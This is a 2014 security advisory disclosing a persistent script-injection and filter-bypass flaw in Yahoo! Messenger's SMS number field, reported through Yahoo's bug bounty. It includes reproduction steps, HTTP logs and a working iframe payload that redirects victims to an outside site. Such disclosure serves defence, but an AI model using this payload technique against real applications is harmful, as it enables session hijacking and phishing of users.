[FD] Yahoo! Bug Bounty #29 YM - Filter Bypass & Persistent Web Vulnerability

Document Title:
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Yahoo! Bug Bounty #29 YM - Filter Bypass & Persistent Web Vulnerability


References (Source):
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http://www.vulnerability-lab.com/get_content.php?id=3D1136

Video: http://www.vulnerability-lab.com/get_content.php?id=3D1279


Release Date:
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2014-07-07


Vulnerability Laboratory ID (VL-ID):
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
1136


Common Vulnerability Scoring System:
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=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
6.3


Product & Service Introduction:
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=3D=3D=3D=3D=3D=3D
Yahoo! Inc. is an American multinational internet corporation headquartered=
 in Sunnyvale, California. It is widely known =

for its web portal, search engine Yahoo! Search, and related services, incl=
uding Yahoo! Directory, Yahoo! Mail, Yahoo! =

News, Yahoo! Finance, Yahoo! Groups, Yahoo! Answers, advertising, online ma=
pping, video sharing, fantasy sports and its =

social media website. It is one of the most popular sites in the United Sta=
tes. According to news sources, roughly 700 =

million people visit Yahoo! websites every month. Yahoo! itself claims it a=
ttracts `more than half a billion consumers =

every month in more than 30 languages.

(Copy of the Vendor Homepage: http://www.yahoo.com )


Abstract Advisory Information:
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=3D=3D=3D=3D=3D
The Vulnerability-Laboratory Research Team has discovered multiple vulnerab=
ilities in the official Yahoo! Messenger software v11.5.0.228 application.


Vulnerability Disclosure Timeline:
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2013-07-31:	Researcher Notification & Coordination (Ateeq ur Rehman Khan - =
Core Research Team)
2013-08-01:	Vendor Notification (Yahoo! Security Team - Bug Bounty Program)
2013-09-01:	Vendor Response/Feedback (Yahoo! Security Team - Bug Bounty Pro=
gram)
2014-06-01:	Vendor Fix/Patch (Yahoo! Developer Team - Reward: HackerOne Pro=
gram)
2014-07-07:	Public Disclosure (Vulnerability Laboratory)



Discovery Status:
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Published


Affected Product(s):
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Yahoo!
Product: Yahoo! Messenger Desktop (US) 11.5.0.228 (US)


Exploitation Technique:
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Remote


Severity Level:
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High


Technical Details & Description:
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An input filter bypass & persistent web vulnerability has been discovered i=
n the official Yahoo! Messenger (11.5.0.228-us) Desktop Application. =

The persistent remote web vulnerability affects the software exception hand=
ling module of the phone `SMS` feature in the application. =


It was initially discovered that while sending an `SMS`, the Yahoo IM appli=
cation validates all entered numbers through a =

remote host: validate.msg.yahoo.com. If the number is invalid/malicious the=
 remote host responds with an `unknown number` exception =

which is then handled by the IM application in a new msg window. While hand=
ling the exception, the injected code gets executed =

successfully in the new msg window where the exception is processed as HTML=
. =


Malicious requests can be injected in the `Enter Mobile Number` input field=
 using a filter bypass technique while sending an SMS =

through the Yahoo IM application. It seems that basic security controls are=
 in place to restrict user from typing in Alphabets and =

special characters when sending an SMS however a simple copy/paste of a spe=
cially crafted payload bypasses the restriction quite =

easily and results in successful code execution of the injected scripts cod=
e.

The security risk of the filter bypass and persistent vulnerability is esti=
mated as high with a cvss (common vulnerability scoring =

system) count of 6.3.

This type of vulnerability can be exploited by a non privileged / unauthori=
zed remote attackers and requires a normal application =

user account (victim). The successful exploitation of the remote vulnerabil=
ity results in session hijacking, persistent phishing, =

persistent external redirect, persistent external malware loads and persist=
ent manipulation of affected module context.

Request Method(s):
				[+] POST

Vulnerable Service(s):
				[+] Yahoo! Messenger - Desktop Application v11.5.0.228-us (software)

Vulnerable Parameter(s):
                                [+] Enter Mobile Number

Affected Module(s): =

                                [+] Send An SMS > Mobile Number


Proof of Concept (PoC):
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The persistent input validation web vulnerability can be exploited by remot=
e attackers with low user interaction and low privileged =

web application user account. For demonstration or to reproduce ...

Manual steps to reproduce the vulnerability ...
1. Login to your Yahoo IM application
2. Click on the Send an SMS icon
3. Inject the "Payload" in the "Enter Mobile Number" input field
4. A new IM window should popup and shortly your browser should be redirect=
ed to my website proving the existence of this vulnerability


PoC: Payload
'%3d'>"><iframe src=3D'http://vulnerability-lab.com' onload=3Dwindow.locati=
on=3D('http://evolution-sec.com')></iframe>/927

--- PoC Session Logs ---
HTTP Requests: POST /mobileno?intl=3Dus&version=3D11.5.0.228 HTTP/1.1
Cookie: [HIDDEN]
path=3D/; domain=3D.yahoo.com
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5)
Host: validate.msg.yahoo.com
Content-Length: 153
Pragma: no-cache

<validate intl=3D"us" version=3D"11.5.0.228" qos=3D"0"><mobile_no msisdn=3D=
"1334372637724887885637224548952226666562325378762437263927"></mobile_no>
</validate>

-Response:
HTTP/1.1 200 OK
Date: Wed, 06 Nov 2013 12:52:31 GMT
P3P: policyref=3D"http://info.yahoo.com/w3c/p3p.xml", CP=3D"CAO DSP COR CUR=
 ADM DEV TAI PSA PSD IVAi IVDi CONi =

TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR =


FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Content-Length: 173
Cache-Control: private
Connection: close
Content-Type: text/html; charset=3Dutf-8

<validate>
  <mobile_no msisdn=3D"1334372637724887885637224548952226666562325378762437=
263927">
    <status>Unknown</status>
    <carrier></carrier>
  </mobile_no>
</validate>



Demonstration Video(s):
			../video.wmv

Reference(s):
http://www.yahoo.com
http://messenger.yahoo.com


Solution - Fix & Patch:
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Proper security controls should be implemented/enforced in the IM applicati=
on to validate input and restrict copy/paste of =

malicious requests in all affected input fields. Also restricting the excep=
tions response type so they are not processed as =

HTML by the IM application is recommended.




Security Risk:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
The security risk of the persistent exception-handling web vulnerability is=
 estimated as high(-).


Credits & Authors:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Vulnerability Laboratory [Research Team] - Ateeq ur Rehman Khan (ateeq@evol=
ution-sec.com) [www.vulnerability-lab.com]



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